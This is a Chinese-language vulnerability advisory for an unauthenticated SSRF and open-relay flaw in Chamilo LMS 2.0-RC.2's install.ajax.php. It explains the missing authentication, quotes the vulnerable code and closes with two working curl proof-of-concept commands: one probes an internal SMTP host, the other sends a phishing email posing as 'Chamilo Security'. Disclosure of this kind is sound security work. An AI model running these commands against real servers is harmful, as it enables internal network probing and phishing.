严重程度:高(CVSS 7.2)
CWE:CWE-918(SSRF)+ CWE-306(缺少身份认证)
受影响版本:chamilo/chamilo-lms 2.0-RC.2
修复版本:2.0-RC.3
安全公告:GHSA-mxc9-9335-45mc
NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-33715
致谢:Romain Deperne
在已完整安装的 Chamilo LMS 2.0 实例上,install.ajax.php 无需身份认证即可访问。其 test_mailer 操作会从 POST 数据中接受任意的 Symfony Mailer DSN 和目标地址,使任何未认证的攻击者都能强制服务器向任意内部主机发起 SMTP 连接(SSRF),并通过 Chamilo 服务器以开放中继的方式发送邮件。
我之所以审计 Chamilo LMS,是因为注意到它已累积了多个 CVE,但其 AJAX 端点却从未被深入审计过。我的方法是:列出 public/main/inc/ajax/ 下的所有文件,并检查每个文件是否以 require_once __DIR__.'/../global.inc.php' 开头——正是这一包含语句在整个代码库中强制实施身份认证。
install.ajax.php 是个例外。它只包含了 Composer 自动加载器。文件名本身就已暗示它是遗留的安装代码——而在其中用 grep 搜索 test_mailer 后证实,它会从 POST 数据中接受原始的 Symfony Mailer DSN 字符串,并将其直接传给 Transport::fromDsn()。
这就构成了一个完整的 SSRF 原语:未认证的攻击者可以控制服务器所连接协议、主机和端口。而它会通过你所配置的任意传输方式实际发送一封邮件,这一事实又使其同时成为一个开放中继。我用一个简单的 curl 确认了在已完整安装的实例上,无需任何会话 Cookie 即可访问该端点。
根本原因在于架构层面:该文件绕过了 Symfony 的安全防火墙,因为 Apache 的 RewriteCond %{REQUEST_FILENAME} !-f 会将已存在的 PHP 文件直接交给 PHP 处理,从不经过前端控制器。
文件:public/main/inc/ajax/install.ajax.php
该文件原本是为安装向导设计的,但在安装完成后仍然可访问。与同一目录下的其他所有 AJAX 端点不同,它不包含 global.inc.php——这意味着零身份认证、零授权检查:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
test_mailer 操作(约第 138 行)接受攻击者控制的 POST 参数:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
与任何受适当保护的端点进行比较:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
该文件由 Apache 直接提供(RewriteCond %{REQUEST_FILENAME} !-f 会放行已存在的 PHP 文件,从而绕过 Symfony 的安全防火墙)。由于未包含 global.inc.php,因此没有会话、没有身份验证,也没有安装完成检查。
完整演示请参见 poc.py。
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"